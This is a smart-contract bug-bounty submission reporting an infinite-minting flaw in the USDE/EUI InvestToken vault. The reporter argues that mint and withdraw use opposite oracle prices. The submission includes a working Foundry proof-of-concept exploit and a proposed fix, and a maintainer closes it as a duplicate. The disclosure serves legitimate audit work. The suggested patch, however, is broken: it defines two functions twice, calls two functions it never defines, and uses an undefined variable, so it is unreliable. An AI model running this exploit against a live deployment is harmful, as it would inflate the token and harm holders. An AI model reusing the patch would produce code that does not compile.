Bad pricing mechanism of InvestToken::mint and InvestToken::withdraw causes infinite USDE minting bug

[hats-bug-reporter]

Github username: @https://github.com/37H3RN17Y2
Twitter username: -
Submission hash (on-chain): 0xb72a6644f5dae04e00be541698dc46f7e22fbc58dffdf60825b0ce88a938ba80
Severity: high

Description:
Description
In the project README (excerpt below), it states that any conversion from USDE to investToken (EUI) should follow current price, whereas conversion from EUI to USDE should follow previous price. This is such that users depositing USDE or converting EUI does not accrue the yield of the same day.

Current Price - the latest conversion price. This is used when users flip from stablecoinf to invest token, to ensure they do not accrue fees based on yields that were accumulated before depositing.
Previous Price - we maintain both conversion prices, a current price, and the last price before that in order ensure that users who flip from invest token to stablecoin do not accrue today's yield, but gets yesterday's conversion rate.

However, the implementation of USDE and EUI conversion does not follow these descriptions. Additionally, chaining these vulnerabilities together will result in infinite USDE minting bug (described below).

1. The implementation of InvestToken::mint uses YieldOracle::previousPrice via the path InvestToken::mint >> InvestToken::convertToAssets >> YieldOracle::sharesToAssets >> YieldOracle::previousPrice. Hence conversions of USDE to EUI will follow previous price, and users will accrue yields on the same day, breaking protocol functionality.

2. The implementation of InvestToken::withdraw uses YieldOracle::currentPrice via the path InvestToken::withdraw >> InvestToken::convertToShares >> YieldOracle::assetsToShares >> YieldOracle::currentPrice. Hence conversions of EUI to USDE will follow current price, and users will accrue yields on the same day, breaking protocol functionality.

As enforced by YieldOracle.sol#L92, the conversion price between USDE to EUI can only increase and never decrease. Hence, users can call InvestToken::mint to convert USDE to EUI at the lower YieldOracle::previousPrice and immediately call InvestToken::withdraw to convert EUI to USDE at a higher YieldOracle::currentPrice to profit from the price difference. Calling these 2 functions repeatedly allows users to mint infinite USDE for themselves, thus breaking protocol functionality.

Impact
Impact: HIGH. Infinite USDE minting bug causes USDE hyperinflation and breaks the USDE token peg.
Likelihood: HIGH. The attack relies on simple preconditions (described below) and users are incentivized to exploit this bug for a profit.
Severity: HIGH

Attack Scenario
The attack relies on the following preconditions.

1. Attacker starts with some USDE. This is to initiate the chain of minting and withdrawing.
2. The attacker address is not blacklisted for USDE.
3. The attacker address is whitelisted for investToken (EUI).
4. The EUI/USDE price has been increased. For the EUI yield bearing vault, this price increase is inevitable and high likelihood.

The attack path is as follows

1. Attacker calls InvestToken::mint to convert USDE to EUI at the lower price of YieldOracle::previousPrice.
2. Attacker immediately calls InvestToken::withdraw to convert EUI back to USDE at the higher price of YieldOracle::currentPrice, thus gaining more USDE.
3. Attacker repeats step 1 and 2 indefinitely to exploit the infinite USDE minting bug.

Attachments

1. Proof of Concept (PoC) File

Place the PoC in a new file and run the following code.

forge test --mt testUSDEInflationBug

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.21;

import {Test, console} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IUSDE} from "src/interfaces/IUSDE.sol";
import {InvestToken} from "src/InvestToken.sol";
import {USDE} from "src/USDE.sol";
import {Validator} from "src/Validator.sol";
import {YieldOracle} from "src/YieldOracle.sol";

contract Audit is Test {

    Validator validator;
    USDE usde;
    YieldOracle yieldOracle;
    InvestToken investToken;

    address admin = makeAddr("admin");
    address attacker = makeAddr("mAlice");

    uint256 constant STARTING_AMOUNT = 100e18;

    function setUp() public {
        ///////////////////////////
        // Deploy contracts
        ///////////////////////////
        // note: project's own deploy script (Deploy.s.sol) and test scripts (EUD.t.sol, InvestToken.sol) do not work out-of-the-box
        // the below scripts deploys the contracts following code structure as referenced from the above files with minor corrections
        vm.startPrank(admin);

        // deploy Validator.sol where admin is DEFAULT_ADMIN_ROLE, WHITELISTER, BLACKLISTER
        validator = new Validator(admin, admin, admin);

        // deploy USDE.sol where admin is initialOwner
        usde = new USDE(validator);
        ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usde), abi.encodeCall(usde.initialize, (admin)));
        usde = USDE(address(usdeProxy));

        // deploy YieldOracle.sol where admin is initialOwner and initialOracle
        yieldOracle = new YieldOracle(admin, admin);

        // deploy InvestToken.sol where admin is initialOwner
        investToken = new InvestToken(validator, IUSDE(address(usde)));
        ERC1967Proxy euiProxy =
            new ERC1967Proxy(address(investToken), abi.encodeCall(investToken.initialize, ("Eurodollar Invest Token", "EUI", admin, yieldOracle)));
        investToken = InvestToken(address(euiProxy));
    
        vm.stopPrank();

        //////////////////////
        // Grant roles
        //////////////////////
        // note: InvestToken contract requires MINT_ROLE and BURN_ROLE for USDE contract
        // so that the InvestToken contract ERC-4626 functions work correctly
        vm.startPrank(admin);
        usde.grantRole(usde.MINT_ROLE(), address(investToken));
        usde.grantRole(usde.BURN_ROLE(), address(investToken));
        vm.stopPrank();

        ///////////////////////////////
        // Attack Preconditions
        ///////////////////////////////
        ///////////////
        // Condition 1: Attacker starts with some USDE
        ///////////////
        // simulated here by admin minting some USDE to attacker
        // auditor's note: deal(address(usde), attacker, STARTING_AMOUNT); does not work 
        // as it will set totalSupply to type(uint256).max, causing overflow on further USDE minting
        vm.startPrank(admin);
        usde.grantRole(usde.MINT_ROLE(), admin);
        usde.mint(attacker, STARTING_AMOUNT);
        vm.stopPrank();

        ///////////////
        // Condition 2: Attacker is not blacklisted for USDE
        ///////////////

        ///////////////
        // Condition 3: Attacker is whitelisted for investToken (EUI)
        ///////////////
        vm.prank(admin);
        validator.whitelist(attacker);

        ///////////////
        // Condition 4: Price has been updated (increased)
        ///////////////
        // admin acts as the initialOracle for YieldOracle contract
        vm.startPrank(admin);

        // warps blockchain forward for updateDelay
        vm.warp(block.timestamp + yieldOracle.updateDelay() + 1);
        
        // oracle(admin) updates price within allowable bounds
        uint256 updatedPrice = 1.1e18;
        yieldOracle.updatePrice(updatedPrice);

        // warps blockchain forward for commitDelay
        vm.warp(block.timestamp + yieldOracle.commitDelay() + 1);

        // commitPrice to set new updated currentPrice
        yieldOracle.commitPrice();

        console.log("previousPrice: ", yieldOracle.previousPrice());
        console.log("currentPrice: ", yieldOracle.currentPrice());
        console.log("");
        vm.stopPrank();
    }

    function testUSDEInflationBug() public {
        
        console.log ("Initial Condition");
        uint256 previousPrice = yieldOracle.previousPrice();
        uint256 attackerInitialUSDEBalance = usde.balanceOf(attacker);
        console.log ("Attacker USDE balance: ", usde.balanceOf(attacker));
        console.log ("Attacker EUI balance: ", investToken.balanceOf(attacker));
        console.log("");
        // Attacker balance: 100 USDE, 0 EUI

        // Attack Step 1: Call mint to invest USDE for investToken (EUI) 
        // EUI is valued at previousPrice for mint function
        vm.startPrank(attacker);
        uint256 sharesToMint = attackerInitialUSDEBalance * 1e18 / previousPrice;
        usde.approve(address(investToken), attackerInitialUSDEBalance);
        investToken.mint(sharesToMint, attacker);
        vm.stopPrank();
        console.log ("Invest USDE for investToken (EUI)");
        console.log ("Attacker USDE balance: ", usde.balanceOf(attacker));
        console.log ("Attacker EUI balance: ", investToken.balanceOf(attacker));
        console.log("");
        // Attacker balance: 0 USDE, 100 EUI

        // Attack Step 2: Calling withdraw to redeem investToken (EUI) for USDE 
        // EUI is at currentPrice for withdraw function
        vm.startPrank(attacker);
        uint256 currentPrice = yieldOracle.currentPrice();
        uint256 assetsToWithdraw = investToken.balanceOf(attacker) * currentPrice / 1e18;
        investToken.withdraw(assetsToWithdraw, attacker, attacker);
        vm.stopPrank();
        uint256 attackerFinalUSDEBalance = usde.balanceOf(attacker);
        console.log ("Redeem investToken (EUI) for USDE");
        console.log ("Attacker USDE balance: ", usde.balanceOf(attacker));
        console.log ("Attacker EUI balance: ", investToken.balanceOf(attacker));
        console.log("");
        // Attacker balance: 110 USDE, 0 EUI

        // Attack Step 3: Repeat mint and withdraw function calls for USDE inflation bug
        assertGt(attackerFinalUSDEBalance, attackerInitialUSDEBalance);
    }
}

1. Revised Code File (Optional)

The infinite USDE minting bug is caused by the bad pricing mechanism of InvestToken::mint and InvestToken::withdraw. Fixing these pricing issues by using separate EUI/USDE conversion functions for previousPrice and currentPrice will resolve the bug.

Modifications to YieldOracle.sol

-    function assetsToShares(uint256 assets) external view returns (uint256) {
-        return Math.mulDiv(assets, 10 ** 18, currentPrice);
-    }
-
-    function sharesToAssets(uint256 shares) external view returns (uint256) {
-        return Math.mulDiv(shares, previousPrice, 10 ** 18);
-    }

+    function assetsToSharesCurrentPrice(uint256 assets) external view returns (uint256) {
+        return Math.mulDiv(assets, 10 ** 18, currentPrice);
+    }
+
+    function assetsToSharesPreviousPrice(uint256 assets) external view returns (uint256) {
+        return Math.mulDiv(assets, 10 ** 18, previousPrice);
+    }
+
+    function sharesToAssetsCurrentPrice(uint256 shares) external view returns (uint256) {
+        return Math.mulDiv(shares, currentPrice, 10 ** 18);
+    }
+
+    function sharesToAssetsPreviousPrice(uint256 shares) external view returns (uint256) {
+        return Math.mulDiv(shares, PreviousPrice, 10 ** 18);
+    }

Modifications to InvestToken.sol

-    function convertToShares(uint256 assets) public view returns (uint256) {
-        return yieldOracle.assetsToShares(assets);
-    }
-
-    function convertToAssets(uint256 shares) public view returns (uint256) {
-        return yieldOracle.sharesToAssets(shares);
-    }

+    function convertToSharesPreviousPrice(uint256 assets) public view returns (uint256) {
+        return yieldOracle.assetsToSharesPreviousPrice(assets);
+    }
+
+    function convertToAssetsCurrentPrice(uint256 shares) public view returns (uint256) {
+        return yieldOracle.sharesToAssetsCurrentPrice(shares);
+    }
+
+    function convertToSharesPreviousPrice(uint256 assets) public view returns (uint256) {
+        return yieldOracle.assetsToSharesPreviousPrice(assets);
+    }
+
+    function convertToAssetsCurrentPrice(uint256 shares) public view returns (uint256) {
+        return yieldOracle.sharesToAssetsCurrentPrice(shares);
+    }

    function previewDeposit(uint256 assets) public view returns (uint256) {
-        return convertToShares(assets);
+        return convertToSharesCurrentPrice(assets);
    }

    function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
-        shares = convertToShares(assets);
+        shares = convertToSharesCurrentPrice(assets);
        usde.burn(msg.sender, assets);
        _mint(receiver, shares);

        emit Deposit(msg.sender, receiver, assets, shares);
    }

    function previewMint(uint256 shares) public view returns (uint256) {
-        return convertToAssets(shares);
+        return convertToAssetsCurrentPrice(shares);
    }

    function mint(uint256 shares, address receiver) public returns (uint256 assets) {
-        assets = convertToAssets(shares);
+        assets = convertToAssetsCurrentPrice(shares);
        usde.burn(msg.sender, assets);
        _mint(receiver, shares);
        
        emit Deposit(msg.sender, receiver, assets, shares);
    }

    function maxWithdraw(address owner) public view returns (uint256) {
        if (paused()) {
            return 0;
        }
-        return convertToAssets(this.balanceOf(owner));
+        return convertToAssetsPreviousPrice(this.balanceOf(owner));
    }

    /**
     * @notice Previews the amount of shares (EUI) that will be redeemed when the specified amount of assets (USDE) is withdrawn.
     * @param assets The amount of assets (USDE) to be withdrawn.
     * @return uint256 The preview amount of shares (EUI) that will be redeemed for the given amount of assets (USDE).
     */
    function previewWithdraw(uint256 assets) public view returns (uint256) {
-        return convertToShares(assets);
+        return convertToSharesPreviousPrice(assets);
    }

    function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
-        shares = convertToShares(assets);
+        shares = convertToSharesPreviousPrice(assets);
        if (owner != msg.sender) _spendAllowance(owner, msg.sender, shares);
        _burn(owner, shares);
        usde.mint(receiver, assets);

        emit Withdraw(msg.sender, receiver, owner, assets, shares);
    }

    function previewRedeem(uint256 shares) public view returns (uint256) {
-        return convertToAssets(shares);
+        return convertToAssetsPreviousPrice(shares);
    }

    function redeem(uint256 shares, address receiver, address owner) public returns (uint256 assets) {
        if (owner != msg.sender) _spendAllowance(owner, msg.sender, shares);
-        assets = convertToAssets(shares);
+        assets = convertToAssetsPreviousPrice(shares);
        _burn(owner, shares);
        usde.mint(receiver, assets);

        emit Withdraw(msg.sender, receiver, owner, assets, shares);
    }

Files:

• PoC.sol (https://hats-backend-prod.herokuapp.com/v1/files/QmUa8grYXtR5mXTRNbva8f7HkbmSY3KwvPxDWRgYs5WgSB)
• Revised-Code-File.sol (https://hats-backend-prod.herokuapp.com/v1/files/QmeFZauKMfNg22ivLe3neRdjEGnF9v8YHZ22T8Pi7pBCTu)

[AndreiMVP]

This is a duplicate of previous submissions pointing to the issue